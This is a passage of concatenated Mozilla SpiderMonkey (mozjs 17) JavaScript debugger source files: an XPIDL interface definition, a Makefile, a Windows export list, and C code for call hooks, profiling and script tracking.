attribute double minOwnExecutionTime; /** * Longest execution time recorded, in milliseconds, excluding time spent * in other called code. */ readonly attribute double maxOwnExecutionTime; /** * Total time spent in this function, in milliseconds, excluding time spent * in other called code. */ readonly attribute double totalOwnExecutionTime; /** * Clear profile data for this script. */ void clearProfileData(); const unsigned long PCMAP_SOURCETEXT = 1; /* map to actual source text */ const unsigned long PCMAP_PRETTYPRINT = 2; /* map to pretty printed source */ /** * Get the closest line number to a given PC. * The |pcmap| argument specifies which pc to source line map to use. */ unsigned long pcToLine(in unsigned long pc, in unsigned long pcmap); /** * Get the first PC associated with a line. * The |pcmap| argument specifies which pc to source line map to use. */ unsigned long lineToPc(in unsigned long line, in unsigned long pcmap); /** * Determine is a particular line is executable, like checking that * lineToPc == pcToLine, except in one call. * The |pcmap| argument specifies which pc to source line map to use. */ boolean isLineExecutable(in unsigned long line, in unsigned long pcmap); /** * Return a list of all executable lines in a script. * |pcmap| specifies which pc to source line map to use. * |startLine| and |maxLines| may be used to retrieve a chunk at a time. */ void getExecutableLines(in unsigned long pcmap, in unsigned long startLine, in unsigned long maxLines, [optional] out unsigned long count, [array, size_is(count), retval] out unsigned long executableLines); /** * Set a breakpoint at a PC in this script. */ void setBreakpoint(in unsigned long pc); /** * Clear a breakpoint at a PC in this script. */ void clearBreakpoint(in unsigned long pc); /** * Clear all breakpoints set in this script. */ void clearAllBreakpoints(); /** * Call interrupt hook at least once per source line */ void enableSingleStepInterrupts(in boolean mode); }; /** * Value objects. Represents typeless JavaScript values (jsval in SpiderMonkey * terminology.) These are valid until the debugger is turned off. Holding a * jsdIValue adds a root for the underlying JavaScript value, so don't keep it * if you don't need to. */ [scriptable, uuid(1cd3535b-4ddb-4202-9053-e0ec88f5c82b)] interface jsdIValue : jsdIEphemeral { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** Internal use only. */ [noscript] readonly attribute JSDValue JSDValue; /** * |false| unless the value is a function declared in script. */ readonly attribute boolean isNative; /** * |true| if the value represents a number, either double or integer. * |false| for all other values, including numbers assigned as strings * (eg. x = "1";) */ readonly attribute boolean isNumber; /** * |true| if the value represents a JavaScript primitive number or AUTF8String */ readonly attribute boolean isPrimitive; /** Value is either |true| or |false|. */ const unsigned long TYPE_BOOLEAN = 0; /** Value is a primitive number that is too large to fit in an integer. */ const unsigned long TYPE_DOUBLE = 1; /** Value is a primitive number that fits into an integer. */ const unsigned long TYPE_INT = 2; /** Value is a function. */ const unsigned long TYPE_FUNCTION = 3; /** Value is |null|. */ const unsigned long TYPE_NULL = 4; /** Value is an object. */ const unsigned long TYPE_OBJECT = 5; /** Value is a primitive AUTF8String. */ const unsigned long TYPE_STRING = 6; /** Value is void. */ const unsigned long TYPE_VOID = 7; /** * One of the TYPE_* values above. */ readonly attribute unsigned long jsType; /** * Prototype value if this value represents an object, null if the value is * not an object or the object has no prototype. */ readonly attribute jsdIValue jsPrototype; /** * Parent value if this value represents an object, null if the value is not * an object or the object has no parent. */ readonly attribute jsdIValue jsParent; /** * Class name if this value represents an object. Empty AUTF8String if the value * is not an object. */ readonly attribute AUTF8String jsClassName; /** * Constructor name if this value represents an object. Empty AUTF8String if the * value is not an object. */ readonly attribute jsdIValue jsConstructor; /** * Function name if this value represents a function. Empty AUTF8String if the * value is not a function. */ readonly attribute AUTF8String jsFunctionName; /** * Value if interpreted as a boolean. Converts if necessary. */ readonly attribute boolean booleanValue; /** * Value if interpreted as a double. Converts if necessary. */ readonly attribute double doubleValue; /** * Value if interpreted as an integer. Converts if necessary. */ readonly attribute long intValue; /** * Value if interpreted as an object. */ readonly attribute jsdIObject objectValue; /** * Value if interpreted as a AUTF8String. Converts if necessary. */ readonly attribute AUTF8String stringValue; /** * Number of properties. 0 if the value is not an object, or the value is * an object but has no properties. */ readonly attribute long propertyCount; /** * Retrieves all properties if this value represents an object. If this * value is not an object a 0 element array is returned. * @param propArray Array of jsdIProperty values for this value. * @param length Size of array. */ void getProperties([array, size_is(length)] out jsdIProperty propArray, out unsigned long length); /** * Retrieves a single property from the value. Only valid if the value * represents an object. * @param name Name of the property to retrieve. * @retval jsdIProperty for the requested property name or null if no * property exists for the requested name. */ jsdIProperty getProperty(in AUTF8String name); /** * jsdIValues are wrappers around JavaScript engine structures. Much of the * data is copied instead of shared. The refresh method is used to resync * the jsdIValue with the underlying structure. */ void refresh(); /** * When called from JavaScript, this method returns the JavaScript value * wrapped by this jsdIValue. The calling script is free to use the result * as it would any other JavaScript value. * When called from another language this method returns an xpconnect * defined error code. */ [implicit_jscontext] jsval getWrappedValue(); /** * If this is a function value, return its associated jsdIScript. * Otherwise, return null. */ readonly attribute jsdIScript script; }; /** * Properties specific to values which are also objects. * XXX We don't add roots for these yet, so make sure you hold on to the * jsdIValue from whence your jsdIObject instance came for at least as long as * you hold the jsdIObject. * XXX Maybe the jsClassName, jsConstructorName, and property related attribute/ * functions from jsdIValue should move to this interface. We could inherit from * jsdIValue or use interface flattening or something. */ [scriptable, uuid(87d86308-7a27-4255-b23c-ce2394f02473)] interface jsdIObject : nsISupports { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** Internal use only. */ [noscript] readonly attribute JSDObject JSDObject; /** * The URL (filename) that contains the script which caused this object * to be created. */ readonly attribute AUTF8String creatorURL; /** * Line number in the creatorURL where this object was created. */ readonly attribute unsigned long creatorLine; /** * The URL (filename) that contains the script which defined the constructor * used to create this object. */ readonly attribute AUTF8String constructorURL; /** * Line number in the creatorURL where this object was created. */ readonly attribute unsigned long constructorLine; /** * jsdIValue for this object. */ readonly attribute jsdIValue value; }; /** * Representation of a property of an object. When an instance is invalid, all * method and property access will result in a NS_UNAVAILABLE error. */ [scriptable, uuid(acf1329e-aaf6-4d6a-a1eb-f75858566f09)] interface jsdIProperty : jsdIEphemeral { /** Internal use only. */ [noscript] readonly attribute JSDContext JSDContext; /** Internal use only. */ [noscript] readonly attribute JSDProperty JSDProperty; /** * FLAG_* values must be kept in sync with JSDPD_* #defines in jsdebug.h. */ /** visible to for/in loop */ const unsigned long FLAG_ENUMERATE = 0x01; /** assignment is error */ const unsigned long FLAG_READONLY = 0x02; /** property cannot be deleted */ const unsigned long FLAG_PERMANENT = 0x04; /** property has an alias id */ const unsigned long FLAG_ALIAS = 0x08; /** argument to function */ const unsigned long FLAG_ARGUMENT = 0x10; /** local variable in function */ const unsigned long FLAG_VARIABLE = 0x20; /** exception occurred looking up property, value is exception */ const unsigned long FLAG_EXCEPTION = 0x40; /** native getter returned JS_FALSE without throwing an exception */ const unsigned long FLAG_ERROR = 0x80; /** found via explicit lookup (property defined elsewhere.) */ const unsigned long FLAG_HINTED = 0x800; /** FLAG_* values OR'd together, representing the flags for this property. */ readonly attribute unsigned long flags; /** jsdIValue representing the alias for this property. */ readonly attribute jsdIValue alias; /** name for this property. */ readonly attribute jsdIValue name; /** value of this property. */ readonly attribute jsdIValue value; }; mozjs17.0.0/js/jsd/idl/Makefile.in0000664000175000017500000000070612106270662016614 0ustar sstanglsstangl# # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. DEPTH = @DEPTH@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ VPATH = @srcdir@ include $(DEPTH)/config/autoconf.mk MODULE = jsdebug XPIDL_MODULE = jsdservice XPIDLSRCS = \ jsdIDebuggerService.idl \ $(NULL) include $(topsrcdir)/config/rules.mk mozjs17.0.0/js/jsd/jsd1640.def0000664000175000017500000000447112106270662015555 0ustar sstanglsstangl; -*- Mode: Fundamental; tab-width: 4; indent-tabs-mode: nil -*- ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. LIBRARY JSD1640.DLL EXETYPE WINDOWS PROTMODE DESCRIPTION 'Netscape 16-bit JavaScript Debugger Library' CODE LOADONCALL MOVEABLE DISCARDABLE DATA PRELOAD MOVEABLE SINGLE HEAPSIZE 8192 EXPORTS WEP @1 RESIDENTNAME NONAME _JSD_AppendSourceText _JSD_ClearAllExecutionHooks _JSD_ClearAllExecutionHooksForScript _JSD_ClearDebugBreakHook _JSD_ClearExecutionHook _JSD_ClearInterruptHook _JSD_ClearSourceText _JSD_DebuggerOff _JSD_DebuggerOn _JSD_EvaluateScriptInStackFrame _JSD_FindSourceForURL _JSD_GetCallingStackFrame _JSD_GetClosestLine _JSD_GetClosestPC _JSD_GetCountOfStackFrames _JSD_GetDefaultJSContext _JSD_GetMajorVersion _JSD_GetMinorVersion _JSD_GetPCForStackFrame _JSD_GetScriptBaseLineNumber _JSD_GetScriptFilename _JSD_GetScriptForStackFrame _JSD_GetScriptFunctionId _JSD_GetScriptHook _JSD_GetScriptLineExtent _JSD_GetSourceAlterCount _JSD_GetSourceStatus _JSD_GetSourceText _JSD_GetSourceURL _JSD_GetStackFrame _JSD_IncrementSourceAlterCount _JSD_IsSourceDirty _JSD_IterateScripts _JSD_IterateSources _JSD_LockScriptSubsystem _JSD_LockSourceTextSubsystem _JSD_NewSourceText _JSD_SetDebugBreakHook _JSD_SetErrorReporter _JSD_SetExecutionHook _JSD_SetInterruptHook _JSD_SetScriptHook _JSD_SetSourceDirty _JSD_SetUserCallbacks _JSD_UnlockScriptSubsystem _JSD_UnlockSourceTextSubsystem _Java_netscape_jsdebug_DebugController__0005fsetController_stub _Java_netscape_jsdebug_DebugController_executeScriptInStackFrame_stub _Java_netscape_jsdebug_DebugController_sendInterrupt_stub _Java_netscape_jsdebug_DebugController_setInstructionHook0_stub _Java_netscape_jsdebug_JSPC_getSourceLocation_stub _Java_netscape_jsdebug_JSSourceTextProvider_loadSourceTextItem_stub _Java_netscape_jsdebug_JSSourceTextProvider_refreshSourceTextVector_stub _Java_netscape_jsdebug_JSStackFrameInfo_getCaller0_stub _Java_netscape_jsdebug_JSStackFrameInfo_getPC_stub _Java_netscape_jsdebug_JSThreadState_countStackFrames_stub _Java_netscape_jsdebug_JSThreadState_getCurrentFrame_stub _Java_netscape_jsdebug_Script_getClosestPC_stub mozjs17.0.0/js/jsd/jsd_step.c0000664000175000017500000002324712106270662015763 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Stepping support */ #include "jsd.h" /* * #define JSD_TRACE 1 */ #ifdef JSD_TRACE static char* _indentSpaces(int i) { #define MAX_INDENT 63 static char* p = NULL; if(!p) { p = calloc(1, MAX_INDENT+1); if(!p) return ""; memset(p, ' ', MAX_INDENT); } if(i > MAX_INDENT) return p; return p + MAX_INDENT-i; } static void _interpreterTrace(JSDContext* jsdc, JSContext *cx, JSStackFrame *fp, JSBool before) { JSDScript* jsdscript = NULL; JSScript * script; static indent = 0; JSString* funName = NULL; script = JS_GetFrameScript(cx, fp); if(script) { JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, script, fp); JSD_UNLOCK_SCRIPTS(jsdc); if(jsdscript) funName = JSD_GetScriptFunctionId(jsdc, jsdscript); } if(before) printf("%sentering ", _indentSpaces(indent++)); else printf("%sleaving ", _indentSpaces(--indent)); if (!funName) printf("TOP_LEVEL"); else JS_FileEscapedString(stdout, funName, 0); if(before) { jsval thisVal; printf("%s this: ", JS_IsConstructorFrame(cx, fp) ? "constructing":""); if (JS_GetFrameThis(cx, fp, &thisVal)) printf("0x%0llx", (uintptr_t) thisVal); else puts(""); } printf("\n"); JS_ASSERT(indent >= 0); } #endif JSBool _callHook(JSDContext *jsdc, JSContext *cx, JSStackFrame *fp, JSBool before, unsigned type, JSD_CallHookProc hook, void *hookData) { JSDScript* jsdscript; JSScript* jsscript; JSBool hookresult = JS_TRUE; if (!jsdc || !jsdc->inited) return JS_FALSE; if (!hook && !(jsdc->flags & JSD_COLLECT_PROFILE_DATA)) { /* no hook to call, no profile data needs to be collected, * so there is nothing to do here. */ return hookresult; } if (before && JS_IsConstructorFrame(cx, fp)) { jsval newObj; if (!JS_GetFrameThis(cx, fp, &newObj)) return JS_FALSE; jsd_Constructing(jsdc, cx, JSVAL_TO_OBJECT(newObj), fp); } jsscript = JS_GetFrameScript(cx, fp); if (jsscript) { JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindOrCreateJSDScript(jsdc, cx, jsscript, fp); JSD_UNLOCK_SCRIPTS(jsdc); if (jsdscript) { if (JSD_IS_PROFILE_ENABLED(jsdc, jsdscript)) { JSDProfileData *pdata; pdata = jsd_GetScriptProfileData (jsdc, jsdscript); if (pdata) { if (before) { if (!pdata->lastCallStart) { int64_t now; JSDProfileData *callerpdata; /* Get the time just the once, for consistency. */ now = JS_Now(); /* This contains a pointer to the profile data for * the caller of this function. */ callerpdata = jsdc->callingFunctionPData; if (callerpdata) { int64_t ll_delta; pdata->caller = callerpdata; /* We need to 'stop' the timer for the caller. * Use time since last return if appropriate. */ ll_delta = jsdc->lastReturnTime ? now - jsdc->lastReturnTime : now - callerpdata->lastCallStart; callerpdata->runningTime += ll_delta; } /* We're the new current function, and no return * has happened yet. */ jsdc->callingFunctionPData = pdata; jsdc->lastReturnTime = 0; /* This function has no running time (just been * called!), and we'll need the call start time. */ pdata->runningTime = 0; pdata->lastCallStart = now; } else { if (++pdata->recurseDepth > pdata->maxRecurseDepth) pdata->maxRecurseDepth = pdata->recurseDepth; } /* make sure we're called for the return too. */ hookresult = JS_TRUE; } else if (!pdata->recurseDepth && pdata->lastCallStart) { int64_t now, ll_delta; double delta; now = JS_Now(); ll_delta = now - pdata->lastCallStart; delta = ll_delta; delta /= 1000.0; pdata->totalExecutionTime += delta; /* minExecutionTime starts as 0, so we need to overwrite * it on the first call always. */ if ((0 == pdata->callCount) || delta < pdata->minExecutionTime) { pdata->minExecutionTime = delta; } if (delta > pdata->maxExecutionTime) pdata->maxExecutionTime = delta; /* If we last returned from a function (as opposed to * having last entered this function), we need to inc. * the running total by the time delta since the last * return, and use the running total instead of the * delta calculated above. */ if (jsdc->lastReturnTime) { /* Add last chunk to running time, and use total * running time as 'delta'. */ ll_delta = now - jsdc->lastReturnTime; pdata->runningTime += ll_delta; delta = pdata->runningTime; delta /= 1000.0; } pdata->totalOwnExecutionTime += delta; /* See minExecutionTime comment above. */ if ((0 == pdata->callCount) || delta < pdata->minOwnExecutionTime) { pdata->minOwnExecutionTime = delta; } if (delta > pdata->maxOwnExecutionTime) pdata->maxOwnExecutionTime = delta; /* Current function is now our caller. */ jsdc->callingFunctionPData = pdata->caller; /* No hanging pointers, please. */ pdata->caller = NULL; /* Mark the time we returned, and indicate this * function is no longer running. */ jsdc->lastReturnTime = now; pdata->lastCallStart = 0; ++pdata->callCount; } else if (pdata->recurseDepth) { --pdata->recurseDepth; ++pdata->callCount; } } if (hook) jsd_CallCallHook (jsdc, cx, type, hook, hookData); } else { if (hook) hookresult = jsd_CallCallHook (jsdc, cx, type, hook, hookData); else hookresult = JS_TRUE; } } } #ifdef JSD_TRACE _interpreterTrace(jsdc, cx, fp, before); return JS_TRUE; #else return hookresult; #endif } void * jsd_FunctionCallHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure) { JSDContext* jsdc; JSD_CallHookProc hook; void* hookData; jsdc = (JSDContext*) closure; /* local in case jsdc->functionHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->functionHook; hookData = jsdc->functionHookData; JSD_UNLOCK(); if (_callHook (jsdc, cx, fp, before, (before) ? JSD_HOOK_FUNCTION_CALL : JSD_HOOK_FUNCTION_RETURN, hook, hookData)) { return closure; } return NULL; } void * jsd_TopLevelCallHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure) { JSDContext* jsdc; JSD_CallHookProc hook; void* hookData; jsdc = (JSDContext*) closure; /* local in case jsdc->toplevelHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->toplevelHook; hookData = jsdc->toplevelHookData; JSD_UNLOCK(); if (_callHook (jsdc, cx, fp, before, (before) ? JSD_HOOK_TOPLEVEL_START : JSD_HOOK_TOPLEVEL_END, hook, hookData)) { return closure; } return NULL; } mozjs17.0.0/js/jsd/jsd_scpt.c0000664000175000017500000005714412106270662015764 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Script support */ #include "jsd.h" #include "jsfriendapi.h" /* Comment this out to disable (NT specific) dumping as we go */ /* ** #ifdef DEBUG ** #define JSD_DUMP 1 ** #endif */ #define NOT_SET_YET -1 /***************************************************************************/ #ifdef DEBUG void JSD_ASSERT_VALID_SCRIPT(JSDScript* jsdscript) { JS_ASSERT(jsdscript); JS_ASSERT(jsdscript->script); } void JSD_ASSERT_VALID_EXEC_HOOK(JSDExecHook* jsdhook) { JS_ASSERT(jsdhook); JS_ASSERT(jsdhook->hook); } #endif #ifdef LIVEWIRE static JSBool HasFileExtention(const char* name, const char* ext) { int i; int len = strlen(ext); const char* p = strrchr(name,'.'); if( !p ) return JS_FALSE; p++; for(i = 0; i < len; i++ ) { JS_ASSERT(islower(ext[i])); if( 0 == p[i] || tolower(p[i]) != ext[i] ) return JS_FALSE; } if( 0 != p[i] ) return JS_FALSE; return JS_TRUE; } #endif /* LIVEWIRE */ static JSDScript* _newJSDScript(JSDContext* jsdc, JSContext *cx, JSScript *script) { JSDScript* jsdscript; unsigned lineno; const char* raw_filename; JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); /* these are inlined javascript: urls and we can't handle them now */ lineno = (unsigned) JS_GetScriptBaseLineNumber(cx, script); if( lineno == 0 ) return NULL; jsdscript = (JSDScript*) calloc(1, sizeof(JSDScript)); if( ! jsdscript ) return NULL; raw_filename = JS_GetScriptFilename(cx,script); JS_HashTableAdd(jsdc->scriptsTable, (void *)script, (void *)jsdscript); JS_APPEND_LINK(&jsdscript->links, &jsdc->scripts); jsdscript->jsdc = jsdc; jsdscript->script = script; jsdscript->lineBase = lineno; jsdscript->lineExtent = (unsigned)NOT_SET_YET; jsdscript->data = NULL; #ifndef LIVEWIRE jsdscript->url = (char*) jsd_BuildNormalizedURL(raw_filename); #else jsdscript->app = LWDBG_GetCurrentApp(); if( jsdscript->app && raw_filename ) { jsdscript->url = jsdlw_BuildAppRelativeFilename(jsdscript->app, raw_filename); if( function ) { JSString* funid = JS_GetFunctionId(function); char* funbytes; const char* funnanme; if( fuinid ) { funbytes = JS_EncodeString(cx, funid); funname = funbytes ? funbytes : ""; } else { funbytes = NULL; funname = "anonymous"; } jsdscript->lwscript = LWDBG_GetScriptOfFunction(jsdscript->app,funname); JS_Free(cx, funbytes); /* also, make sure this file is added to filelist if is .js file */ if( HasFileExtention(raw_filename,"js") || HasFileExtention(raw_filename,"sjs") ) { jsdlw_PreLoadSource(jsdc, jsdscript->app, raw_filename, JS_FALSE); } } else { jsdscript->lwscript = LWDBG_GetCurrentTopLevelScript(); } } #endif JS_INIT_CLIST(&jsdscript->hooks); return jsdscript; } static void _destroyJSDScript(JSDContext* jsdc, JSDScript* jsdscript) { JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); /* destroy all hooks */ jsd_ClearAllExecutionHooksForScript(jsdc, jsdscript); JS_REMOVE_LINK(&jsdscript->links); if(jsdscript->url) free(jsdscript->url); if (jsdscript->profileData) free(jsdscript->profileData); free(jsdscript); } /***************************************************************************/ #ifdef JSD_DUMP #ifndef XP_WIN void OutputDebugString (char *buf) { fprintf (stderr, "%s", buf); } #endif static void _dumpJSDScript(JSDContext* jsdc, JSDScript* jsdscript, const char* leadingtext) { const char* name; JSString* fun; unsigned base; unsigned extent; char Buf[256]; size_t n; name = jsd_GetScriptFilename(jsdc, jsdscript); fun = jsd_GetScriptFunctionId(jsdc, jsdscript); base = jsd_GetScriptBaseLineNumber(jsdc, jsdscript); extent = jsd_GetScriptLineExtent(jsdc, jsdscript); n = size_t(snprintf(Buf, sizeof(Buf), "%sscript=%08X, %s, ", leadingtext, (unsigned) jsdscript->script, name ? name : "no URL")); if (n + 1 < sizeof(Buf)) { if (fun) { n += size_t(snprintf(Buf + n, sizeof(Buf) - n, "%s", "no fun")); } else { n += JS_PutEscapedFlatString(Buf + n, sizeof(Buf) - n, JS_ASSERT_STRING_IS_FLAT(fun), 0); Buf[sizeof(Buf) - 1] = '\0'; } if (n + 1 < sizeof(Buf)) snprintf(Buf + n, sizeof(Buf) - n, ", %d-%d\n", base, base + extent - 1); } OutputDebugString( Buf ); } static void _dumpJSDScriptList( JSDContext* jsdc ) { JSDScript* iterp = NULL; JSDScript* jsdscript = NULL; OutputDebugString( "*** JSDScriptDump\n" ); while( NULL != (jsdscript = jsd_IterateScripts(jsdc, &iterp)) ) _dumpJSDScript( jsdc, jsdscript, " script: " ); } #endif /* JSD_DUMP */ /***************************************************************************/ static JSHashNumber jsd_hash_script(const void *key) { return ((JSHashNumber)(ptrdiff_t) key) >> 2; /* help lame MSVC1.5 on Win16 */ } static void * jsd_alloc_script_table(void *priv, size_t size) { return malloc(size); } static void jsd_free_script_table(void *priv, void *item, size_t size) { free(item); } static JSHashEntry * jsd_alloc_script_entry(void *priv, const void *item) { return (JSHashEntry*) malloc(sizeof(JSHashEntry)); } static void jsd_free_script_entry(void *priv, JSHashEntry *he, unsigned flag) { if (flag == HT_FREE_ENTRY) { _destroyJSDScript((JSDContext*) priv, (JSDScript*) he->value); free(he); } } static JSHashAllocOps script_alloc_ops = { jsd_alloc_script_table, jsd_free_script_table, jsd_alloc_script_entry, jsd_free_script_entry }; #ifndef JSD_SCRIPT_HASH_SIZE #define JSD_SCRIPT_HASH_SIZE 1024 #endif JSBool jsd_InitScriptManager(JSDContext* jsdc) { JS_INIT_CLIST(&jsdc->scripts); jsdc->scriptsTable = JS_NewHashTable(JSD_SCRIPT_HASH_SIZE, jsd_hash_script, JS_CompareValues, JS_CompareValues, &script_alloc_ops, (void*) jsdc); return !!jsdc->scriptsTable; } void jsd_DestroyScriptManager(JSDContext* jsdc) { JSD_LOCK_SCRIPTS(jsdc); if (jsdc->scriptsTable) JS_HashTableDestroy(jsdc->scriptsTable); JSD_UNLOCK_SCRIPTS(jsdc); } JSDScript* jsd_FindJSDScript( JSDContext* jsdc, JSScript *script ) { JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); return (JSDScript*) JS_HashTableLookup(jsdc->scriptsTable, (void *)script); } JSDScript * jsd_FindOrCreateJSDScript(JSDContext *jsdc, JSContext *cx, JSScript *script, JSStackFrame *fp) { JSDScript *jsdscript; JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); jsdscript = jsd_FindJSDScript(jsdc, script); if (jsdscript) return jsdscript; /* Fallback for unknown scripts: create a new script. */ if (!fp) JS_FrameIterator(cx, &fp); if (fp) jsdscript = _newJSDScript(jsdc, cx, script); return jsdscript; } JSDProfileData* jsd_GetScriptProfileData(JSDContext* jsdc, JSDScript *script) { if (!script->profileData) script->profileData = (JSDProfileData*)calloc(1, sizeof(JSDProfileData)); return script->profileData; } uint32_t jsd_GetScriptFlags(JSDContext *jsdc, JSDScript *script) { return script->flags; } void jsd_SetScriptFlags(JSDContext *jsdc, JSDScript *script, uint32_t flags) { script->flags = flags; } unsigned jsd_GetScriptCallCount(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->callCount; return 0; } unsigned jsd_GetScriptMaxRecurseDepth(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->maxRecurseDepth; return 0; } double jsd_GetScriptMinExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->minExecutionTime; return 0.0; } double jsd_GetScriptMaxExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->maxExecutionTime; return 0.0; } double jsd_GetScriptTotalExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->totalExecutionTime; return 0.0; } double jsd_GetScriptMinOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->minOwnExecutionTime; return 0.0; } double jsd_GetScriptMaxOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->maxOwnExecutionTime; return 0.0; } double jsd_GetScriptTotalOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { if (script->profileData) return script->profileData->totalOwnExecutionTime; return 0.0; } void jsd_ClearScriptProfileData(JSDContext* jsdc, JSDScript *script) { if (script->profileData) { free(script->profileData); script->profileData = NULL; } } JSScript * jsd_GetJSScript (JSDContext *jsdc, JSDScript *script) { return script->script; } JSFunction * jsd_GetJSFunction (JSDContext *jsdc, JSDScript *script) { return JS_GetScriptFunction(jsdc->dumbContext, script->script); } JSDScript* jsd_IterateScripts(JSDContext* jsdc, JSDScript **iterp) { JSDScript *jsdscript = *iterp; JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); if( !jsdscript ) jsdscript = (JSDScript *)jsdc->scripts.next; if( jsdscript == (JSDScript *)&jsdc->scripts ) return NULL; *iterp = (JSDScript*) jsdscript->links.next; return jsdscript; } void * jsd_SetScriptPrivate(JSDScript *jsdscript, void *data) { void *rval = jsdscript->data; jsdscript->data = data; return rval; } void * jsd_GetScriptPrivate(JSDScript *jsdscript) { return jsdscript->data; } JSBool jsd_IsActiveScript(JSDContext* jsdc, JSDScript *jsdscript) { JSDScript *current; JS_ASSERT(JSD_SCRIPTS_LOCKED(jsdc)); for( current = (JSDScript *)jsdc->scripts.next; current != (JSDScript *)&jsdc->scripts; current = (JSDScript *)current->links.next ) { if(jsdscript == current) return JS_TRUE; } return JS_FALSE; } const char* jsd_GetScriptFilename(JSDContext* jsdc, JSDScript *jsdscript) { return jsdscript->url; } JSString* jsd_GetScriptFunctionId(JSDContext* jsdc, JSDScript *jsdscript) { JSString* str; JSFunction *fun = jsd_GetJSFunction(jsdc, jsdscript); if( ! fun ) return NULL; str = JS_GetFunctionId(fun); /* For compatibility we return "anonymous", not an empty string here. */ return str ? str : JS_GetAnonymousString(jsdc->jsrt); } unsigned jsd_GetScriptBaseLineNumber(JSDContext* jsdc, JSDScript *jsdscript) { return jsdscript->lineBase; } unsigned jsd_GetScriptLineExtent(JSDContext* jsdc, JSDScript *jsdscript) { if( NOT_SET_YET == (int)jsdscript->lineExtent ) jsdscript->lineExtent = JS_GetScriptLineExtent(jsdc->dumbContext, jsdscript->script); return jsdscript->lineExtent; } uintptr_t jsd_GetClosestPC(JSDContext* jsdc, JSDScript* jsdscript, unsigned line) { uintptr_t pc; JSCrossCompartmentCall *call; if( !jsdscript ) return 0; #ifdef LIVEWIRE if( jsdscript->lwscript ) { unsigned newline; jsdlw_RawToProcessedLineNumber(jsdc, jsdscript, line, &newline); if( line != newline ) line = newline; } #endif call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if(!call) return 0; pc = (uintptr_t) JS_LineNumberToPC(jsdc->dumbContext, jsdscript->script, line ); JS_LeaveCrossCompartmentCall(call); return pc; } unsigned jsd_GetClosestLine(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc) { JSCrossCompartmentCall *call; unsigned first = jsdscript->lineBase; unsigned last = first + jsd_GetScriptLineExtent(jsdc, jsdscript) - 1; unsigned line = 0; call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if(!call) return 0; if (pc) line = JS_PCToLineNumber(jsdc->dumbContext, jsdscript->script, (jsbytecode*)pc); JS_LeaveCrossCompartmentCall(call); if( line < first ) return first; if( line > last ) return last; #ifdef LIVEWIRE if( jsdscript && jsdscript->lwscript ) { unsigned newline; jsdlw_ProcessedToRawLineNumber(jsdc, jsdscript, line, &newline); line = newline; } #endif return line; } JSBool jsd_GetLinePCs(JSDContext* jsdc, JSDScript* jsdscript, unsigned startLine, unsigned maxLines, unsigned* count, unsigned** retLines, uintptr_t** retPCs) { JSCrossCompartmentCall *call; unsigned first = jsdscript->lineBase; unsigned last = first + jsd_GetScriptLineExtent(jsdc, jsdscript) - 1; JSBool ok; unsigned *lines; jsbytecode **pcs; unsigned i; if (last < startLine) return JS_TRUE; call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if (!call) return JS_FALSE; ok = JS_GetLinePCs(jsdc->dumbContext, jsdscript->script, startLine, maxLines, count, retLines, &pcs); if (ok) { if (retPCs) { for (i = 0; i < *count; ++i) { (*retPCs)[i] = (*pcs)[i]; } } JS_free(jsdc->dumbContext, pcs); } JS_LeaveCrossCompartmentCall(call); return ok; } JSBool jsd_SetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc hook, void* callerdata) { JSD_LOCK(); jsdc->scriptHook = hook; jsdc->scriptHookData = callerdata; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_GetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc* hook, void** callerdata) { JSD_LOCK(); if( hook ) *hook = jsdc->scriptHook; if( callerdata ) *callerdata = jsdc->scriptHookData; JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_EnableSingleStepInterrupts(JSDContext* jsdc, JSDScript* jsdscript, JSBool enable) { JSCrossCompartmentCall *call; JSBool rv; call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if(!call) return JS_FALSE; JSD_LOCK(); rv = JS_SetSingleStepMode(jsdc->dumbContext, 